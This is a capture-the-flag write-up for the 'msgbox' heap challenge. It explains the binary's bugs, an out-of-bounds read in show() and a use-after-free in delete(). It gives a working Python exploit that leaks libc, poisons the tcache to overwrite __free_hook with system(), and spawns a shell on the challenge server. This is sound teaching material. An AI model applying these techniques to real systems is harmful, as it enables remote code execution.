# msgbox
More secure than "Whatsapp"  ?
`nc 157.230.33.195 2222 `
Flag format : Trollcat{}
**Author : codacker**
**Files**: `msgbox.zip` (`vuln`, `vuln.c`, `libc.so.6`)
```sh$ checksec msgbox.o # renamed vuln[*] 'msgbox.o'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)$ ../libc-database/identify msgbox.so.6 # renamed libc.so.6libc6_2.27-3ubuntu1.4_amd64```
I use [pwnscripts](https://github.com/152334H/pwnscripts) to finish libc challenges quickly.
## Code parsing
`strings[]` is an array of _strings_ (`char*`) that starts off empty. `sizes[]` is an array keeping track of the lengths of each string. Both are `0x10` large.
### `add()`
* user-provided index; assert on boundaries* `strings[i] = malloc(<user provided size>)`* `read(size-1)` to take in input* `size[i] = size`
### `show()`
* takes user-provided index, **no bounds checking*** uses `%s` with `printf()`, so possible overprinting due to lack of nul-terminator
### `delete()`
* user-provided index; assert on boundaries* `free(strings[idx])`. No zeroing out of `strings[idx]`/`sizes[idx]`; **clear UAF / double-free**
### `edit()`
* user-provided index; assert on boundaries* `read(0, strings[idx], sizes[idx])`. Note that this is 1 larger than what `add()` originally does.
I also prepared a python framework to deal with this challenge:
```pythonfrom pwnscripts import *context.binary = 'msgbox.o'context.libc_database = '../libc-database'context.libc = 'msgbox.so.6'r = remote('157.230.33.195', 2222)
def add(size: int, idx: int, msg: bytes):    r.sendlineafter('> ', '1')    r.sendlineafter('size: ', str(size))    r.sendlineafter('idx: ', str(idx))    r.sendafter('message: ', msg)def show(idx: int):    r.sendlineafter('> ', '2')    r.sendlineafter('idx: ', str(idx))    return r.recvline()def delete(idx: int):    r.sendlineafter('> ', '3')    r.sendlineafter('idx: ', str(idx))def edit(idx: int, msg: bytes):    r.sendlineafter('> ', '4')    r.sendlineafter('idx: ', str(idx))    r.sendafter('message: ', msg)```
With that out of the way, what're we going to do?
## how2heap
This challenge doesn't have a single fixed solution; there are _many_ heap-based vulnerabilities present in the source code, and I'll only be using two to get through:
### Arbitrary Relative Dereference
`show()` is the only function that happens to lack bounds checking (i.e. asserting `0<=idx<0x10`), and we can abuse it for an arbitrary read.
Because `show(idx)` will essentially commit `printf("%s", strings[idx])`, we can read any pointer located around the `0x400000-0x600000+` range (so long as it is _actually_ a pointer). Since leaking libc is usually important for a heap challenge, I decided to try finding a _pointer_<sup>1</sup> to a libc location in the binary.
A quick scan in gdb-gef led to results:
`0x0000000000400580│+0x0580: 0x0000000000601ff0  →  0x00007fffff0801f0  →  <__libc_start_main+0> push r14`
This corresponds with this section in IDA:
`LOAD:0000000000400580                 Elf64_Rela <601FF0h, 800000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main`
This means that `strings[(0x400580-(int)strings)/8]` will be a pointer to libc, and we'll get the libc base with a simple one-liner:
```pythoncontext.libc.symbols['__libc_start_main'] = unpack_bytes(show((0x400580-context.binary.symbols['strings'])//8).split(b'] ')[-1], 6)```
With libc leaked, all we need to do is to overwrite `__free_hook` to gain arbitrary code execution.
### Use-After-Free
In `delete()`, `strings[idx]` is `free()`d without setting `strings[idx] = 0`. This is dangerous for multiple reasons, but one of the easier things we can do here is to run `edit(idx, writeable_location)` _after_ `delete(idx)`:
```pythonSZ = 0x18add(SZ, 0, b'garbage')delete(0)edit(0, pack(context.libc.symbols['__free_hook']))```
 After `delete(0)`, the tcache free list will contain a single saved pointer. `edit()`ing the deleted pointer will add an extra pointer to the free list; I'm editing the string to contain `__free_hook` so that the _next_ allocation will point towards there:
```pythonadd(SZ, 0, b'/bin/sh;') # this is the original add()'d pointeradd(SZ, 1, pack(context.libc.symbols['system'])) # this allocation is given __free_hook; I overwrite it with system()delete(0) # __free_hook causes system("/bin/sh")```
That's it.
## Flag
`Trollcat{h34p_h34p_g0_4w4y}`
1. Note the level of dereferencing here. The GOT table is a list of functions; using `show()` to display pointers on the GOT table would only result in "leaking" assembly code.